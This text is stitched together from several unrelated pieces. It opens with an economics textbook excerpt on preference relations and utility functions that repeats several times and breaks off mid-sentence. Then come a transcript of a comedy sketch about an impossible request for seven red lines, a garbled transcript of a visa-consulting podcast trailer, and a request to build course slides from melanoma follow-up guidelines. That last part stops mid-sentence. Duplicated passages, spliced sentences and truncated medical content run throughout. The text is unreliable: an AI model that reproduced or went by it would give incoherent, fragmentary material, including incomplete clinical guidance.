y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the set 1.4 Utility functions\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the set1.4 Utility functions)\n\nMany preference relations on infinite sets can also be represented by utility\nfunctions. A simple example is the preference relation ¼ on the set of nonnegative real numbers defined by x ¼ y if and only if x ≥ y , which is represented by\nthe utility function u defined by u(x) = x. However, not all preference relations\non infinite sets can be represented by utility functions. An example is the lexicographic preference relation over the unit square X = {(x1,x2) : x1,x2 ∈ [0, 1]} for\nwhich the first priority is the first coordinate and the second priority is the second coordinate (so that, for example, (0.3, 0.1) \x1f (0.2, 0.9) \x1f (0.2, 0.8)). (Figure 1.4\nshows the set of alternatives preferred to a given alternative.)\nProposition 1.2: Preference relation not represented by utility function\nThe (lexicographic) preference relation ¼ on {(x1,x2) : x1,x2 ∈ [0, 1]} defined by (x1,x2) \x1f (y1,y2) if and only if either (i) x1 > y1 or (ii) x1 = y1 and\nx2 > y2 is not represented by any utility function.\nThe proof of this result requires more mathematical knowledge than the other\narguments in the book.\nProof\nAssume, contrary to the claim, that the function u represents ¼. For each\nx ∈ [0, 1], we have (x, 1) \x1f (x, 0), so that u(x, 1) > u(x, 0). Define a function\nf that assigns to every number x ∈ [0, 1] a rational number in the interval (u(x, 0),u(x, 1)). Such a number exists because between any two real\nnumbers there is a rational number. The function f is one-to-one since\nif a > b then (a, 0) \x1f (b, 1), so that u(a, 0) > u(b, 1), and hence the interval (u(a, 0),u(a, 1)) from which f (a) is selected does not intersect the\ninterval (u(b, 0),u(b, 1)) from which f (b) is selected. The contradiction igure 1.4 The set of alternatives preferred to (z 1,z 2) according to the lexicographic\npreference relation described in the text is the area shaded blue, excluding the part of\nthe boundary indicated by a dashed line.\nnow follows from Cantor’s diagonal argument, which shows that there is\nno one-to-one function from the set [0, 1] into a countable set (like the set\nof rational numbers).\nIf a utility function represents a given preference relation, then many other\nutility functions do so too. For example, if the function u represents a given preference relation then so does the function 3u − 7 or any other function of the\nform a u + b where a is a positive number. Generally, we have the following result. Note that we define a function f to be increasing if f (x) > f (y ) whenever\nx > y (and nondecreasing if f (x) ≥ f (y ) whenever x > y ).\nProposition 1.3: Increasing function of utility function is utility function\nLet f : R → R be an increasing function. If u represents the preference\nrelation ¼ on X, then so does the function w defined by w(x) = f (u(x)) for\nall x ∈ X.\nProof\nWe have w(x) ≥ w(y ) if and only if f (u(x)) ≥ f (u(y )) if and only if u(x) ≥\nu(y ) (given that f is increasing), which is true if and only if x ¼ y .\nIn many economic models, an individual is described not by his preferences but\nby a value function. This formulation does not imply that the individual explicitly\nderives his preferences from a value function, but only that his preferences can\nbe derived from such a function. Preferences with this property are said to be\nrepresented by the value function. We refer to a value function that represents\npreferences as a utility function.\nDefinition 1.6: Utility function\nFor any set X and preference relation ¼ on X, the function u : X → R\nrepresents ¼ if\nx ¼ y if and only if u(x) ≥ u(y ).\nWe say that u is a utility function for ¼.\nExample 1.1\nConsider the preference relation ¼ on the set {a,b, c ,d } for which a \x1f b ∼\nc \x1f d . The function u for which u(a) = 5, u(b) = u(c ) = −1, and u(d ) =\n−17 is a utility function for ¼.\nUnder what conditions can a preference relation be represented by a utility\nfunction? To answer this question, we need another definition.\nDefinition 1.7: Minimal and maximal alternatives\nFor any set X and preference relation ¼ on X, the alternative x ∈ X is minimal with respect to ¼ in X if y ¼ x for all y ∈ X and is maximal with respect\nto ¼ in X if x ¼ y for all y ∈ X .\n10 Chapter 1. Preferences and utility\nThe next result shows that every preference relation on a finite set has minimal and maximal members.\nLemma 1.1: Existence of minimal and maximal alternatives\nLet X be a nonempty finite set and let ¼ be a preference relation on X. At\nleast one member of X is minimal with respect to ¼ in X and at least one\nmember is maximal.\nProof\nWe prove the result for minimality; the argument for maximality is analogous. We use induction on the number n of members of X. If n = 1 the\nsingle member of X is minimal with respect to ¼ in X. Assume the result is\ntrue for n − 1; we prove it is true for n. Let y be an arbitrary member of X\nand let x be minimal with respect to ¼ in X \\{y } (a set with n−1 members).\nIf y ¼ x then x is minimal in X. If not, then x ¼ y . Take any z ∈ X \\ {y }.\nBecause x is minimal in X \\ {y }, we have z ¼ x, so by transitivity z ¼ y .\nThus y is minimal in X.\nProblem 2b asks you to give an example of a preference relation on an infinite\nset for which there is no minimal or maximal member.\nWe can now show that any preference relation on a finite set can be represented by a utility function.\nProposition 1.1: Representing preference relation by utility function\nEvery preference relation on a finite set can be represented by a utility\nfunction.\nProof\nLet X be a finite set and let ¼ be a preference relation on X. Let Y0 = X and\ndefine M1 to be the set of alternatives minimal with respect to ¼ in Y0. By\nLemma 1.1, Y0 is not empty. For k ≥ 1 inductively define Yk = Yk−1 \\ Mk\nas long as Yk−1 is nonempty, and let Mk+1 be the (nonempty) set of alternatives minimal with respect to ¼ in Yk . In other words, at every stage remove from the set of remaining alternatives the alternatives minimal with\nrespect to ¼. (Figure 1.2 illustrates the construction.)\nAs long as Yk is not empty, by Lemma 1.1 the set Mk+1 is not empty.\nBecause X is finite, for some value of K the set YK is empty (but the setYK −1 is nonempty). Thus every x ∈ X is a member of some set Mk for some\nk , 1 ≤ k ≤ K .\nDefine the function u : X → R by u(x) = k for all x ∈ Mk , k = 1, . . . ,K .\nThat is, attach to every alternative the number of the stage at which it is\nremoved from X.\nWe argue that u is a utility function for ¼. That is, for any alternatives a\nand b we have a ¼ b if and only if u(a) ≥ u(b).\nWe have u(a) = u(b) if and only if a and b are both minimal with\nrespect to ¼ in Yu(a)−1, so that b ¼ a and a ¼ b, and hence a ∼ b.\nWe have u(b) > u(a) if and only if a is minimal with respect to ¼ in\nYu(a)−1, so that b ¼ a, and b ∈ Yu(a)−1 but is not minimal with respect to ¼\nin Yu(a)−1, so that it is not the case that a ¼ b. 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Can let me give you the transcript: 0:00\nOur company has a new strategic initiative to increase market penetration, maximise brand loyalty, and enhance intangible assets.\n0:08\nIn pursuit of these objectives, we\'ve started a new project --\n0:11\nfor which we require 7 red lines.\n0:14\nI understand your company can help us in this matter.\n0:16\nOf course!\n0:17\nWalter here will be the Project Manager. Walter, we can do this, can\'t we?\n0:22\nYes, of course.\n0:23\nAnderson here is our expert in all matters related to drawing red lines.\n0:26\nWe brought him along today to share his professional opinion.\n0:30\nNice to meet you! Well, you all know me.\n0:32\nThis is Justine, our company\'s design specialist.\n0:35\nHallo...\n0:36\nWe need you to draw seven red lines.\n0:39\nAll of them strictly perpendicular; some with green ink and some with transparent. Can you do that?\n0:46\nNo. I\'m afraid we --\n0:47\nLet\'s not rush into any hasty answers, Anderson! The task has been set and needs to be carried out.\n0:51\nAt the end of the day, you are an expert.\n0:53\nThe term "red line" implies the colour of the line to be red. To draw a red line with green ink is --\n0:58\nwell if it is not exactly impossible, then it is pretty close to being impossible.\n1:02\nWhat does it even mean: "impossible"?\n1:04\nI mean, it is quite possible that there are some people, say suffering from colour blindness,\n1:08\nfor whom the colour of the lines doesn\'t really make a difference.\n1:10\nBut I am quite sure that the target audience of your project does not consists solely of such people.\n1:15\nSo in principle this is possible.\n1:19\nI\'ll simplify.\n1:21\nA line as such can be drawn with absolutely any ink.\n1:24\nBut if you want to get a red line, you need to use red ink.\n1:28\nWhat if we draw them with blue ink?\n1:30\nIt still won\'t work. If you use blue ink, you will get blue lines.\n1:37\nAnd what exactly did you mean, when you talked about the transparent ink?\n1:40\nHow to better explain?\n1:42\nI\'m sure you know what "transparent" means?\n1:44\nYes, I do.\n1:45\nAnd what a "red line" means, I hope I don\'t need to explain to you?\n1:49\nOf course not.\n1:50\nWell... You need to draw red lines with transparent ink.\n1:55\nCould you describe what you imagine the end result would look like?\n1:58\nC\'mon, Anderson! What do we have here, kindergarten?\n2:01\nLet\'s not waste our time with these unproductive quarrels.\n2:05\nThe task has been set; the task is plain and clear.\n2:07\nNow, if you have any specific questions, go ahead!\n2:11\nYou\'re the expert here!\n2:13\nAlright, let\'s leave aside the colour for the moment.\n2:16\nYou had something there also relating to perpendicularity?..\n2:20\nSeven lines, all strictly perpendicular.\n2:23\nTo what?\n2:26\nErm, to everything. Among themselves.\n2:30\nI assumed you know what perpendicular lines are like!\n2:32\nOf course he does. He\'s an expert!\n2:35\nTwo lines can be perpendicular.\n2:36\nAll seven can\'t be simultaneously perpendicular to each other.\n2:41\nI\'ll show you.\n2:45\nThis is a line, right?\n2:48\nYes.\n2:49\nAnd another one. Is it perpendicular to the first line?\n2:55\nWell...\n2:57\nYes, it is perpendicular.\n2:59\nExactly!\n3:00\nWait, wait, I\'m not done. And a third one: is it perpendicular to the first line?\n3:06\nYes, it is! But it doesn\'t cross the second line. They\'re both parallel.\n3:12\nNot perpendicular!\n3:16\nI suppose so.\n3:17\nThere it is. Two lines can be perpendicular --\n3:21\nCan I have the pen?\n3:42\nHow about this?\n3:48\nThis is a triangle.\n3:49\nIt\'s definitely not perpendicular lines.\n3:53\nAnd there are three, not seven.\n3:57\nWhy are they blue?\n3:58\nIndeed. Wanted to ask that myself.\n4:01\nI have a blue pen with me. This was just a demonstration --\n4:04\nThat\'s the problem, your lines are blue. Draw them with red ink!\n4:07\nIt won\'t solve the problem.\n4:09\nHow do you know before you\'ve tried?\n4:10\nLets draw them with red ink and then let\'s see.\n4:12\nI don\'t have a red pen with me, --\n4:13\nbut I am completely certain that with red ink the result will still be the same.\n4:19\nDidn\'t you tell us earlier that you can only draw red lines with red ink?\n4:22\nIn fact, yes, I\'ve written it down here!\n4:24\nAnd now you want to draw them with a blue ink. Do you want to call these red lines?\n4:29\nI think I understand. You\'re not talking about the colour now, right?\n4:33\nYou\'re talking about that, what do you call it: per-per, dick-dick --\n4:37\nPerpendicularity, yes!\n4:38\nThat\'s it, now you\'ve confused everyone.\n4:41\nSo what exactly is stopping us from doing this?\n4:44\nGeometry.\n4:46\nJust ignore it!\n4:47\nWe have a task. Seven red lines. It\'s not twenty; it\'s just seven.\n4:52\nAnderson, I understand; you\'re a specialist of a narrow field, you don\'t see the overall picture.\n4:58\nBut surely it\'s not a difficult task to draw some seven lines!\n5:01\nExactly. Suggest a solution!\n5:03\nAny fool can criticise, no offence, but you\'re an expert, you should know better!\n5:10\nOK. Let me draw you two perfectly perpendicular red lines, --\n5:15\nand I will draw the rest with transparent ink.\n5:18\nThey\'ll be invisible, but I\'ll draw them.\n5:21\nWould this suit us?\n5:24\nYes, this will suit us.\n5:26\nYes, but at least a couple with green ink.\n5:28\nOh, and I have another question, if I may.\n5:31\nCan you draw one of the lines in the form of a kitten?\n5:34\nA what?\n5:35\nIn the form of a kitten.\n5:36\nMarket research tells our users like cute animals. It\'d be really great if --\n5:40\nNo-oh...\n5:42\nWhy?\n5:42\nLook, I can of course draw you a cat.\n5:45\nI\'m no artist, but I can give it a try.\n5:47\nBut it won\'t be a line any more. It will be a cat.\n5:49\nA line and a cat: those are two different things.\n5:51\nA kitten. Not a cat, but a kitten.\n5:53\nIt\'s little, cute, cuddly. Cats, on the other hand --\n5:58\nIt doesn\'t make a difference.\n5:59\nAnderson, at least hear her out!\n6:01\nShe hasn\'t even finished speaking, and you\'re already saying "No!"\n6:04\nI got the idea, but it is impossible to draw a line in the form of a cat...ten.\n6:10\nWhat about a bird?\n6:15\nSo, where did we stop? What are we doing?\n6:17\nSeven red lines, two with red ink, two with green ink and the rest - with transparent.\n6:21\nDid I understand correctly? -- -- Yes.\n6:23\nExcellent! In which case that\'s everything, right?\n6:26\nOh, oh, I almost forgot, we also have a red balloon.\n6:28\nDo you know if you could inflate it?\n6:34\nWhat do I have to do with balloons?\n6:37\nIt\'s red.\n6:38\nAnderson, can you or can you not do this? A simple question.\n6:42\nAs such, I can of course, but --\n6:43\nExcellent. Organise a business trip, we\'ll cover the expenses, --\n6:47\ngo over to their location, inflate the balloon.\n6:52\nWell this was very productive, thank you all!\n7:08\nCan I ask one more question, please?\n7:10\nWhen you inflate the balloon, could you do it in the form of a kitten?\n7:16\nOf course I can!\n7:17\nI can do anything, I can do absolutely anything.\n7:23\nI\'m an expert!' +'Title: "(333) Behind the Visa Window Trailer | Argo Visa Podcast - YouTube"\nVideo Transcript: "[Music] hi i\'m mandy and i\'m ben and this is behind the visa window with ex-visa officers where we give the insider\'s perspective on the us visa interview process hi everyone i am so excited to be here with you all today for the inaugural episode of our podcast behind the visa window with ex visa officers my name is mandy fierbacher and this is my colleague ben arterburn and we started this podcast mainly because when we were ex-visa officers with the u. s department of state i don\'t know about you ben but i just felt like there were so many things that were misunderstood about the us visa process and things that you could not possibly know unless you were actually a visa officer working behind that glass and one of the reasons why i wanted to do this with you is because i felt like there are so many insights we gleaned with our years working with the state department at u. s embassies and consulates around the world and and seeing what some people went through during that process made me really want to help these applicants and international citizens because it is a very opaque process it\'s difficult to understand um and you know we kind of bring a unique perspective given our uh work experience oh yeah it\'s definitely a black box you know the embassy\'s there um and they think they\'ve given all the information to the visa applicants that they need in order to apply for their visa but they haven\'t you know there\'s a there\'s an environment of misinformation there\'s visa agents there\'s people online there\'s your friends there\'s your family who have applied for visas and things have gone well or maybe they\'ve gone wrong and everyone\'s reading the tea leaves trying to figure out what\'s actually going on and no one really knows that\'s why we wanted to do this we want to shed light on that on what\'s actually going on inside why are people getting their visas refused right unnecessarily you know two people who have the same experience they went to school together they studied together they got into the same university they\'ve applied for the same majors they\'re going to study in the us at the same university one gets approved once gets denied and no one knows why but we\'ve got that insight mandy how many visa interviews did you do while you\'re in so i have interviewed probably over a hundred thousand visa applicants and it was a lot of time talking to people talking to people from all different walks of life who had different motivations going to the united states and unfortunately every single visa interview uh was very short and so i didn\'t have a whole lot of time to talk to each person uh but i do have a lot of experience in knowing what these officers look for um you know what kinds of questions we ask and exactly what is our culture because i don\'t know if you feel like this ben but i honestly feel like these officers or consular officers as we\'re called have our own culture in how we make these decisions and why we think about things a certain way what do you think oh yeah definitely um it\'s not all written down in the law right there\'s there\'s the legal requirements to get your visa and the immigration attorneys know those requirements inside it out you know that\'s their profession but then once the v sapling visa applicant goes into the visa interview and is standing there with the glass between them and the visa officer all of it just decide is decided upon the mentality of that visa officer right then and there right um they have to overcome 214b as they say right and that just is in the feelings in the in the in the judgment of that visa officer and i know for me this uh this idea of wanting to help visa visa applicants was born when one of my very good friends applied for a visa and because you know there\'s a there\'s really strict ethics rules for the visa officers you can\'t you can\'t help people on the outside while you\'re working as a visa officer i told my friend that i couldn\'t help them but i said you\'re not going to have any problems just go through it on your own apply it\'ll be fine and she got refused and i had no idea why i said this is a mistake go ahead and apply again i didn\'t help her you know abiding by our strict ethics i said just go ahead and apply again she applied again and she got refused again and i realized that this system is imperfect nobody knows what\'s going on on the outside and now i\'m grateful that we have the opportunity and that we\'re starting this platform to try to shed some light on this um i guess i\'ll go ahead and introduce myself a little bit you know what my background was uh i started with the state department in 2012 and i was a visa officer in guangzhou china i had a background in china before that i had lived in china for about five or six years studying and then working um and also had a degree in chinese studies so that was kind of my bread and butter so i did two years of visas in guangzhou where i did non-immigrant visas and also immigrant visas i also did american citizen services which is another aspect of the consular work abroad but that\'s for a different podcast and then after that i was sent to bogota colombia where i also did non-immigrant visas but also i worked in the fraud prevention unit which is the unit where if someone is suspected of committing fraud their case is referred over and we investigated right so we had a you know a team of investigators and we looked into this and i found you know a lot of times there is fraud right that\'s why the police officers do have their their radars turned on is because some people are committing fraud telling lies in order to get past the visa officers and make it to the united states but also in that role i found that sometimes people seemed like you know something was off but then after an investigation there was nothing wrong luckily those cases had been referred to us and we could do an investigation and prove that they were actually legitimate in their study plan and their tourism plan or business plan but in other instances the officers at the window would never have referred those cases to us and they would have just referred them they would have refused them outright so you know knowing how that works is really you know an important thing my final job in the state department was as the spokesperson and press secretary at the u. s consulate in shanghai and i resigned from the state department in 2018 and ever since then i\'ve been helping visa applicants get their visas that\'s great ben and you know similarly you and i actually have a lot in common because we have this china experience i am also a former visa officer uh just like yourself and interestingly enough my visa experience started when i was very young so i am an immigrant myself i was actually born in shanghai china where you ended your career with the state department and i went to my visa interview at the age of seven at the u.s consulate in shanghai um this would have been the old consulate though so i don\'t think that was the one where you were working but it was a really eye-opening experience for me as a seven-year-old child i remember going into the consulate and just thinking gosh like this is crazy that this person who you know this white man with very long hair by the way he seemed kind of like a hippie could speak chinese and ask me questions and he asked me why i wanted to go to the united states um the reason was that my at the u.s consulate in shanghai um this would have been the old consulate though so i don\'t think that was the one where you were working but it was a really eye-opening experience for me as a seven-year-old child i remember going into the consulate and just thinking gosh like this is cra where we were extremely extremely busy um i don\'t know if you know actually i\'m sure that was your experience as well in guangzhou china but all of the posts in china are extremely busy and we call ourselves visa mills it\'s not like a great you know term because it just showcased how busy we were but i remember at the embassy in beijing regularly on a daily basis about 4 400 people would come through our waiting room and every single person needed to be interviewed and at the embassy in beijing china i and so that was really interesting for me and i did my next tour um at a border town called matamoros mexico so that was at the us consulate in mexico where i worked again in non-immigrant visas but i also spent a year working in american citizen services on u.s passport issues and i spent my final two years at the u. know we we\'ve seen the whole gamut um in in china in latin america um there\'s a there\'s a whole lot of variety in these but then you\'ve done that many of them and you\'ve seen um you know the wide swath of experiences that people have when they\'re applying for for visas um what can happen when they go in why people get refused why people get issued you know and after doing it for so many years i don\'t know if you\'re familiar we haven\'t i don\'t know if we\'ve talked about this the malcolm gladwell\'s ten wanna toot our own horns too much but we definitely are um we we have a very specialized skill set that we have become masters of throughout the course of our careers department um all of it doing visas you actually had some work outside of the consular section but for me it was all in visas i felt like during that time i just kind of lived and breathed visas and so it\'s really interesting that you and i are doing visa consulting work now with argo because you know the really interesting thing to me is at the time we were visa officers we had situation in two minutes i mean how many how many interviews would you say you did every day oh it depended but one day i think that the max number of in-person face-to-face interviews that i did was 280. oh my gosh okay i think that might have topped even my experience because i think i maybe did 225 one day yeah we were doing uh you know the normal around the world the the standard is four hours of doing these visa interviews each day and then you know it\'s really busy sometimes they might up to five or even six uh during the height the boss is staring over your shoulder saying go go move them through move them through some people are bold some people are conservative right really cautious they really don\'t want to issue a visa to someone and then it turned out that they use the visa wrong other people like you and me really want to make sure that people who deserve to get the visa don\'t get refused unnecessarily right um but really it\'s just all up to the discretion of that one officer they they get broad authority to make whatever decision they want in that you know what are some things that surprised you about your time you know behind that visa window i think that at the beginning i wasn\'t i wasn\'t surprised surprised at the beginning right i came in everything was new it was just learning a new job and it took a little while maybe six months before i realized the real human impact that the job had right you come in and you\'re learning this new job your colleagues are trying to teach you things you\'re you know you\'re learning this new computer system you\'re trying take a completely separate path right so it\'s really a huge impact on on people\'s lives that that that two minutes at a visa interview can can determine um which is why we want to do this podcast right mandy like we\'re starting this podcast because it\'s not been done before there are there are a limited number of people probably in the it\'s more than the hundreds but in the low thousands of people who have who have done visa interviews um who know what\'s going on behind the visa window worried about what\'s going to happen during that interview if you\'ve got a family member who\'s been refused abroad and you don\'t know why they\'ve been refused if you\'re an immigration attorney who\'s got clients who who are running into problems during their visa stamping and you don\'t know why because it\'s they go in there and it\'s a black box they come out with a refusal slip and no explanation you know mandy you\'re as an immigration attorney i\'m sure i\'m sure you\'ve run into that a lot once or just a few times in their lives hopefully uh you know fewer rather than more and then it\'s the visa officer who does this day in and day out so i feel like we have sort of aggregated this amount of expertise just based on the sheer volume of cases that we\'ve seen the people that we have talked to the internal meetings that we have had week after week to make sure that our standards are consistent and these are all things that we hope to share with you our audience uh in the weeks and months to come as we you know embark on could become a liability could seem you know to suggest to the officer that your uh intentions are different than what you\'re saying and so you never really know what you\'re conveying unless you really prepare with somebody who knows um exactly what this process entails yeah well many i think now is a good time for you to introduce argo visa to our audience and then i\'ll let them know afterwards how they can contact us thanks so much ben so argo visa is really a labor of love and dedication to this canada i mean we have worked in 34 countries we speak 14 different languages and i actually counted up all of our years of experience once and i think we have something like nine decades of experience if you were to add it all together wow um and you can find out more information about us at www.argovisa. experiences with it write to us at hello at argovisa.com and each week we\'ll be talking about some of the the questions and the concerns that come into us and because we\'ve got you know this this great group of former consular officers that we work with you know we\'ll bring them on when they have particular expertise in the country where you come from or with the visa type that you\'re applying for and we\'ll bring them on and we\'ll have a conversation"\nVideo Summary:' +'Continue the course on the next slide building the slides and the transcript with the following content: Blood tests\nS100B, MIA, LDH blood tests for initial staging\nTwo small studies were identified assessing the diagnostic accuracy of either p-proteasome, MIA, S-100B, or LDH for melanoma metastases.[22][23] In the first study of 53 clinical stage I-II melanoma patients, 68 stage III-IV patients and 40 healthy volunteers, plasma samples were obtained before definitive surgical excision or treatment and followed for a median of 17 months. Reference standard positive patients were a mixture of patients with clinical stage III/IV disease at the outset and patients with clinical stage I/II who then developed metastases during follow-up (detected through clinical examinations and imaging tests). Likewise reference standard negative patients were a mixture of healthy volunteers and patients with clinical stage I/II disease who did not develop metastases during follow-up. Within the limitations of the substantial spectrum bias arising from the selection of the study population which was not limited to asymptomatic stage I/II patients, the area under the receiver operating curves (ROC) for p-proteasome and S100B were the highest (0.81,and 0.82 respectively), whereas LDH and MIA showed lower values (0.79, and 0.72 respectively).[22] In the second study, of 87 stage I/II patients, 71 stage III/IV patients and 50 healthy volunteers, serum concentrations were measured before surgery.[23] The reference standard was again a composite of clinical exams and imaging tests to define whether or not the patient had stage III/IV disease at either the outset or during a median of 32.8 months follow-up. The authors reported that a cut-off value for MIA of 9.4 ng/ml, had 77% sensitivity and 94% specificity for the detection of stage IV disease. Among the 87 patients with stage I/II disease after imaging, 66% of those with MIA serum values greater than 9.4 ng/mL developed regional or distant metastases during follow-up , while 5% of those with values below this threshold developed metastases.[23]\n\nStandard blood tests for initial staging and follow-up (e.g. electrolytes, urea, creatinine, liver function tests [LFTs], full blood count [FBC])\nEvidence from previous guidelines states the routine use of standard blood tests rarely identifies occult stage IV disease in patients presenting with stage I or II melanoma and is not recommended. See [ANZ Melanoma guidelines]. These tests are not new and were therefore outside the scope of the current systematic review and guideline.\n\nS100B, MIA, LDH blood tests during follow-up\nAs a tumour marker, S100B displays a sensitivity of 86–91 %, specificity[24][25] and may portend recurrence, however there are no data demonstrating superior survival outcomes for patients undergoing routine S100B testing in follow up. The use of serum LDH or melanoma-inhibitory activity (MIA) protein in follow up for the detection of asymptomatic melanoma recurrence has been reviewed by Fields and Coit.[26] Abnormal blood tests were rarely the first sign of metastases. Low sensitivity, specificity, and accuracy for general laboratory profiles make them ineffective in the detection of subclinical recurrence and their roles are yet to be defined.\n\nInvestigations for stage I-II patients with no sentinel node biopsy (ie. declined or patient unfit)\nUltrasonography for initial staging\nFor situations where SLNB has been declined or is not possible for technical reasons or patient co-morbidities, ultrasound monitoring may be considered, however 4 studies have shown poorer accuracy (both sensitivity and specificity) compared to SLNB[27][28][29][30], and so the latter is preferred whenever feasible (see chapter on SNLB). No studies were identified in patients who were not eligible for SLNB.\n\nIn three of the studies assessing ultrasonography against a reference standard of SNLB, the sensitivity of ultrasound ranged from 13% to 71%; the specificity from 57% to 97%[27][28][29]; and in two studies the positive predictive value ranged from 37% to 97%, while the negative predictive value ranged from 13% to 84%.[27][29] In one study that assessed a particular ultrasound characteristic (the echo free island) the sensitivity was 11%, the specificity 98%, the positive predictive value was 50% and the negative predictive value was 80%.[30]\n\nOne small study compared high resolution ultrasound (HRUSS) with PET/CT against a reference standard of SNB in 20 patients with clinically stage I/II disease.[16] HRUSS correctly identified two of 12 patients with positive SLNs whereas PET/CT imaging identified none; both imaging tests correctly identified all 12 patients with negative SLNs.[16]\n\nUltrasonography during follow-up\nThe usefulness of ultrasonography for follow-up of patients treated for Stage I/II melanoma depends entirely on the technical skill and experience of the personnel involved. There is a consensus of opinion that ultrasound is superior to clinical examination of regional lymph nodes, although its survival advantage is unproven.[31] A prospective cohort study of 373 patients with a primary tumour Breslow thickness of ≥1.5mm[32], reported a sensitivity of 93% for ultrasound compared with only 71% for the clinical examination of regional lymph nodes. Their specificity was equally high for both procedures (>98%). Despite the superiority of ultrasound, very few patients actually benefited from the addition of ultrasound to clinical examination. The reasons cited for this were that although ultrasound was useful in the earlier detection of regional disease or avoidance of unnecessary surgery in 7% of patients, 6% had deleterious effects such as unnecessary stress caused by repetition of ultrasounds for benign lymph nodes or useless removal of benign lymph nodes.[32] Thus in sum, in only 1% of patients was the use of ultrasound advantageous.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy for initial staging\nOne prospective study assessed whether the combination of ultrasound and fine needle biopsy could be used as a ‘triage’ test for SLNB in 107 asymptomatic patients with clinically stage I/II melanoma.[33] Using this test strategy, only two patients had final positive results, of which one could not be confirmed on histopathology (possible false positive) and the other was confirmed (true positive). Of the 105 patients who were negative on ultrasound +FNA, 36 were false negatives (nodal metastases found on SLNB), and 69 were true negatives.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy during follow-up\nFNA is the current standard method to confirm the presence of suspected nodal metastases for lymphadenopathy identified after definitive local treatment of cutaneous melanoma.[34][35] Ultrasound guidance should be used as the diagnostic yield is superior, particularly for small lymph nodes <10mm in size. Core biopsy has higher sensitivity and specificity compared with FNA and should be considered where FNA is negative but clinical suspicion remains high. There is no role for routine lymph node biopsy during follow up of asymptomatic patients.[36]\n\nOther investigations during follow-up\nSkin Self-Examination\nA review of 9 clinical practice guidelines by Marciano et al (2014)[37] reveals consensus that patients should be taught skin self-examination; this was based on retrospective evidence from several studies that recurrences were commonly first detected by patients. For this recommendation, 4 guidelines varied in evidence content while 5 guidelines provided consensus opinion only. Education on sun-smart behaviour was recommended by 4 guidelines.[37]\n\nSuccessfully implementing self-examination requires patient education on whole-body skin examination with particular attention given to melanoma surgical scars and the corresponding lymphatic drainage areas for in-transit and lymph node recurrence. Patients should also be given education regarding symptoms that may warrant further investigation, such as pain, fatigue, weight loss, nausea and vomiting, dyspneoa, and headache. In addition, the use of brochures or videos, and the engagement of relatives in the education process may be helpful.[38][39][40] Randomized controlled trials do not exist. In Australia, patients themselves detect up to 75% of recurrences, while in other countries this can be as low as 20%.9-13 These data highlight the fact that even with education, there are great differences in patients’ individual ability to detect recurrences.[40]\n\nHistory and physical examination during follow-up\nThere is general consensus that the most cost-effective component of a strategy resulting in the detection of the majority of recurrences is careful history taking and physical examination. The detection of distant metastases in patients with early localised disease is unusual.\n\nAs with self-examination, history and physical examination include specific history taking, a full skin examination looking for new primaries, palpation of melanoma surgical scars, and lymphatic drainage areas for in-transit and lymph node recurrence. Apart from patient self-detected relapses, most relapses and secondary melanomas are detected during physical 